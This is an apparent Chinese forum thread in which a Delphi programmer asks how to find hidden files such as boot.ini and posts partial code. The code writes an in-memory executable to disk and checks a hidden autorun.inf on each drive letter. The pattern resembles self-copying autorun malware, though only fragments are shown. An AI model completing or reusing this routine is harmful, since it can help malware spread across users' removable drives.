怎样返回指定隐藏文件的句柄?
比如;boot.ini是系统文件,是隐藏的,
但是用FindFirstFile,却查找不到该文件,当把boot.ini设置成可见文件后,FindFirstFile就能返回文件句柄。实在是没折了,求求大家,给个可以返回隐藏文件的API函数给我,万谢!!
比如;boot.ini是系统文件,是隐藏的,
但是用FindFirstFile,却查找不到该文件,当把boot.ini设置成可见文件后,FindFirstFile就能返回文件句柄。实在是没折了,求求大家,给个可以返回隐藏文件的API函数给我,万谢!!
create_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(hExeFile, MemExe^, SizeExe, BytesRead, nil);
写也不成功
hSearch := FindFirstFile(pchar(exeFilePath), ffd);
NewSize := GetFileSize(hSearch, nil);这样 NEWSsize 又不能返回呀
============
NewSize := ffd.nFileSizeLow;
//NewSize:=0; //初始化,AU文件大小
// NewSize1:=0; //初始化,EXE文件大小
exeFilePath := k + ':\autorun.inf';
ffd.dwFileAttributes := FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_HIDDEN;
hSearch := FindFirstFile(pchar(exeFilePath), ffd); // hSearch := createFile(pchar(exeFilePath), GENERIC_READ, 0, nil,
// create_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
//NewSize := GetFileSize(hSearch, nil);
NewSize := ffd.nFileSizeLow;
if (hSearch = INVALID_HANDLE_VALUE) or (NewSize <> SizeExe) then
begin直接帮我看一下这段吧 太感谢 了 再帮我看看